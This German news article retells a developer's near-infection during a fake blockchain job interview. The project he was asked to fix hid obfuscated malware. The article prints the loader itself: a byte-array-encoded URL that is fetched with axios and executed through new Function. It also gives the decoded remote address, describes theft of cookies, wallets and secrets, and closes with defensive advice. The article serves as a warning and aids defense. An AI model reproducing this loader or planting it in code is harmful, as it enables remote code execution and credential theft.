Nur 30 Sekunden fehlten, und ein 8-jähriger Entwickler war kurz davor, in eine "Interviewfalle" zu tappen: Der Testcode versteckte heimlich "Gift", und ein einfacher Druck auf die Eingabetaste könnte ihn "bankrott machen".

Wenn David Dodda, ein Entwickler mit acht Jahren Freelance-Erfahrung, an die sorgfältig geplanten "Interview-Betrug" zurückdenkt, hat er immer noch Kalte Schweißausbrüche.

In letzter Zeit hat David Dodda in einer technologischen Community einen neuen, auf Entwickler abzielenden Angriff, den er erlebt hat, öffentlich gemacht: Betrüger haben sich als Führungskräfte eines Blockchain-Unternehmens ausgegeben und ihn zu einem Remote-Interview eingeladen. Anschließend haben sie unter dem Vorwand eines "Programmierungstests" bösartigen Code eingeschleust - wenn er nicht im letzten Moment plötzlich misstrauisch geworden wäre, hätte das Ergebnis katastrophal sein können.

Von der "regulären Einladung" zum "Codetest": Die perfekte Vorstufe für den Betrug

Die Geschichte begann mit einer scheinbar normalen Arbeitsnachricht auf LinkedIn.

Letzte Woche erhielt David Doddas LinkedIn-Konto eine private Nachricht von "Mykola Yanchii, Chef-Blockchain-Offizier der Firma Symfa". Der Absender erklärte, dass ihr Unternehmen eine Plattform namens BestCity zur Transformation des Immobilienarbeitsablaufs entwickelt und derzeit Freelance-Entwickler sucht. Die Arbeitszeiten seien flexibel und passten zu David Doddas Technologiestapel.

Aus beruflichen Gewohnheiten heraus überprüfte David zunächst die Identität von Mykola Yanchii. Das LinkedIn-Profil des Gegenübers sah sehr "offiziell" aus: Es zeigte eine vollständige Berufserfahrung, trug den Titel des Chef-Blockchain-Offiziers von Symfa und hatte über 1.000 echte Freunde. Selbst die täglichen Posts hatten eine Art "unternehmerische Motivationssprüche".

Insgesamt war es ein sehr standardmäßiges Profil, das man auf sozialen Plattformen zehnmal anschauen könnte, ohne misstrauisch zu werden.

Anschließend klickte David Dodda auf die LinkedIn-Seite von Symfa. Auch diese sah tadellos aus: Sie hatte ein professionelles Branding, zeigte Informationen über mehrere Mitarbeiter, eine Unternehmensbeschreibung und hatte sogar mehrere Posts über Projekte zur "Umgestaltung der Immobilienbranche mit Blockchain" veröffentlicht - es sah wie ein normal funktionierendes Technologieunternehmen aus.

Für Freelance-Entwickler wie David Dodda sind solche Einladungen keine Seltenheit - der Absender war höflich, die Kommunikation war professionell, es wurden keine unvernünftigen Anforderungen gestellt und es wurde nur vereinbart, dass es ein Online-Interview geben würde. All dies stärkte das Gefühl der "Vertrauenswürdigkeit".

"Ich bin seit acht Jahren Freelancer und habe an Web-Anwendungen, verschiedenen Projekten und Code-Reviews gearbeitet. Ich glaube, ich habe ein starkes Sicherheitsbewusstsein - zumindest dachte ich das. Und dieses Mal sah es auch sehr vertrauenswürdig aus, also habe ich dem Telefoninterview zugestimmt."

Daraufhin schickte Mykola Yanchi unter dem Vorwand, David Doddas technische Fähigkeiten vorab einzuschätzen und die Kommunikationszeit zu sparen, einen Link zu einer Bitbucket-Codebasis. Er verlangte, dass David Dodda in 30 Minuten eine einfache Optimierung eines React/Node-Projekts durchführen solle - dies ist ein üblicher "Take-Home-Test" bei technischen Interviews, den fast alle Entwickler schon einmal gemacht haben.

Als David Dodda die Codebasis öffnete, stellte er fest, dass die Code-Struktur klar war. Es gab nicht nur eine detaillierte README-Datei, sondern auch ein Unternehmenswerbematerial und es waren sogar die Funktionen markiert, die optimiert werden sollten. Es sah wie ein standardmäßiges Interviewtestblatt aus.

Die 30-Minuten-"Zeitfalle": Die Sicherheitsgrenze, die knapp vermieden wurde

Ein entscheidendes Detail legte jedoch den Grundstein für die nachfolgenden "gefährlichen Aktionen" - es waren nur noch 30 Minuten bis zum vereinbarten Telefoninterview, was für David Dodda etwas knapp war.

"Normalerweise würde ich den Code zuerst in einem Docker-Container isolieren und ausführen, um sicherzustellen, dass alles in Ordnung ist, bevor ich mit der Optimierung beginne", gestand er. Seine Jahre als Entwickler hatten ihn dazu gebracht, "unbekannten Code in einer Sandbox auszuführen", aber diese Zeitdruck hatte seinen Rhythmus durcheinander gebracht.

Um den Test vor dem Interview zu beenden, öffnete David Dodda die Codebasis direkt in seiner lokalen Umgebung. Er fand schnell einige offensichtliche Syntaxfehler, ergänzte die fehlende docker-compose-Datei und optimierte auch einige redundante Code-Abschnitte. Der ganze Vorgang war wie bei einem normalen Test.

Gerade als er bereit war, "npm start" einzugeben, um das Projekt auszuführen und das Ergebnis dem Interviewer zu zeigen, sprang plötzlich sein Sicherheitsinstinkt an - "auch wenn ich in Eile bin, sollte ich zumindest die wichtigsten Dateien durchlesen, bevor ich unbekannten Code ausführe".

Mit der Idee, "eine Minute mehr für die Prüfung zu investieren", kopierte David Dodda einen Code-Abschnitt in den Cursor AI-Assistenten und schickte eine einfache Abfrage:

"Können Sie mir sagen, ob in diesem Codebasis irgendwelche verdächtigen Code-Abschnitte sind, bevor ich dieses Programm ausführe? Zum Beispiel Code, der Dateien liest, die er nicht lesen sollte, oder Zugang zu einer Kryptowallet hat."

Überraschenderweise ließ die Antwort des KI-Assistenten ihn augenblicklich in Kalten Schweiß ausbrechen - in der Datei server/controllers/userController.js war ein hochgradig verschleierter bösartiger Code versteckt:

• //Get Cookie
• (async () => {
• const byteArray = [
• 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
• 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
• 98, 50, 48, 51, 49, 102, 98, 57
• ];
• const uint8Array = new Uint8Array(byteArray);
• const decoder = new TextDecoder('utf-8');
• axios.get(decoder.decode(uint8Array))
• .then(response => {
• new Function("require", response.data.model)(require);
• })
• . catch(error => { });
• })();

Dieser Code versteckte eine Remote-URL in einem Byte-Array. Über axios.get wurde die bösartige Payload abgerufen und mit dem JavaScript-Function-Konstruktor ausgeführt. Am wichtigsten war, dass dieser Code geschickt zwischen den Verwaltungsfunktionen eingebettet war. Sobald auf die entsprechende Admin-Route zugegriffen wurde, konnte er mit vollen Server-Rechten jederzeit ausgeführt werden.

David Dodda dekodierte sofort das Byte-Array: https://api.npoint.io/2c458612399c3b2031fb9. Wie erwartet führte diese URL zu einer bösartigen Payload: Wenn diese ausgeführt würde, würde sie automatisch das lokale Dateisystem lesen, Browser-Cookies erfassen, auf die Kryptowallet-Client zugreifen und sogar die Datenbank-Passwörter und die Produktionsumgebungs-Schlüssel aus den Umgebungsvariablen abrufen - es wäre wie das Öffnen der "digitalen Haustür" für Angreifer.

Noch beängstigender war, dass der Link 24 Stunden später, als David Dodda erneut versuchte darauf zuzugreifen, nicht mehr funktionierte - das heißt, die Betrüger hatten einen "Automatischen-Zerstörungs-Mechanismus" eingerichtet, um Spuren des Angriffs zu vermeiden.

All dies wirkte so professionell, dass es offensichtlich nicht von einem gewöhnlichen Phishing-E-Mail stammen konnte.

"Auch ich, der ich normalerweise so vorsichtig bin, wäre fast herein gefallen"

Nachher betrachtete David Dodda den ganzen Vorfall noch einmal nach. Er stellte fest, dass die "Professionalität" dieses Betrugs weit über den gewöhnlichen Netzwerkangriff hinausging. Sowohl die psychologische Induktion als auch die technische Täuschung waren sorgfältig geplant und zielten speziell auf die Schwächen der Arbeitsgewohnheiten von Entwicklern ab.

Zum Beispiel nutzten die Betrüger auf psychologischer Ebene die alltäglichen Gewohnheiten und Erwartungen von Entwicklern:

● Bekannte Interviewprozesse: Take-Home-Test, Projektstruktur, README - all dies ist ein normaler Ablauf, der es leicht macht, die Wachsamkeit zu erniedrigen.

● Autorität: Das vollständige Profil des Führungskräfte und die Unternehmensseite auf LinkedIn senkten die Skepsis.

● Zeitdruck: "Bitte beenden Sie den Test vor dem Interview, um Zeit zu sparen", zwang die Entwickler dazu, die Sicherheitsüberprüfung zu überspringen.

● Soziale Bestätigung: Die Unternehmensseite, die Mitarbeiterliste, die Posts und das Follower-Netzwerk wirkten allesamt sehr glaubwürdig.

All diese Faktoren zusammen brachten David Dodda, der sich immer als "gut in Sachen Sicherheit" hielt, fast dazu, den bösartigen Code direkt auf seinem Host auszuführen.

Und auf technischer Ebene war die Täuschung der Betrüger fast "unfehlbar": Der bösartige Code war nicht separat gespeichert, sondern in die normale Geschäftlogik eingebettet. Ohne genaue Prüfung war er nicht zu entdecken. Sie nutzten ein Byte-Array, um die URL zu verschleiern, anstatt die URL im Klartext zu verwenden, um so die grundlegende Code-Schlüsselwort-Detektion zu umgehen. Die URL war nach 24 Stunden automatisch ungültig, was das Risiko der Spurensuche stark verringerte.

"Auch ich, der ich normalerweise so vorsichtig bin, wäre fast herein gefallen."

David Dodda sagte mit einem Seufzer, dass die Betrüger die Arbeitsumgebung von Entwicklern genau kannten: Entwickler müssen täglich mit vielen GitHub-Repositories, npm-Paketen und Test-Codes umgehen. Es ist schwierig, jede Datei gründlich auf Sicherheit zu überprüfen. Und das "Interview-Test"-Szenario senkte die psychologische Abwehr noch weiter - schließlich "wer würde annehmen, dass in einem Interviewtest von einer anständigen Firma bösartiger Code versteckt ist?"

Glücklicherweise dachte David Dodda eine Sekunde nach, bevor er Enter drückte, und ließ den Code von der KI prüfen. Diese kurze Sekunde verhinderte eine Katastrophe, die möglicherweise zur Offenlegung von Produktionsumgebungs-Zugangsdaten und zur Leerung seiner persönlichen Wallet geführt hätte. Nach diesem Betrug hat er einige Tipps für Entwickler zusammengefasst:

(1) Führen Sie unbekannten Code immer in einer isolierten Umgebung aus: Docker oder VM ist in Ordnung, niemals direkt auf dem Host.

(2) Analysieren Sie den Code statisch oder dynamisch, bevor Sie ihn ausführen: Verwenden Sie KI, statische Analysetools oder überprüfen Sie manuell die Einstiegspunkte, require/exec, new Function, Remote-Anfragen usw.

(3) Verifizieren Sie die Echtheit des Arbeitgebers: Ein echtes LinkedIn-Profil und eine Unternehmensseite bedeuten nicht automatisch, dass es vertrauenswürdig ist. Verifizieren Sie den Hintergrund des Arbeitgebers (Offizielle Website, Domain, Unternehmens-E-Mail), anstatt nur auf die sozialen Profile zu achten.

(4) Seien Sie misstrauisch gegenüber Zwang oder Druck: Wenn jemand Sie drängt, Code auszuführen, ist das ein Warnsignal. Überspringen Sie nicht die Sicherheitsverfahren.

Am wichtigsten ist es, die Gewohnheit zu entwickeln, misstrauisch zu sein: Selbst bei den vertrautesten Tools und Prozessen sollten Sie eine gewisse Vorsicht walten lassen. Wie David Dodda sagte, "Wenn Sie das nächste Mal ein 'perfektes' Interviewtestblatt erhalten, denken Sie an mein Erlebnis - nehmen Sie sich 30 Sekunden Zeit, um den Code von einer KI prüfen zu lassen. Ihre Wallet und Ihre Schlüssel werden Ihnen dafür dankbar sein."

Referenzlink: https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview

Dieser Artikel stammt aus dem WeChat-Account "CSDN", bearbeitet von Zheng Liyuan, veröffentlicht von 36Kr mit Genehmigung.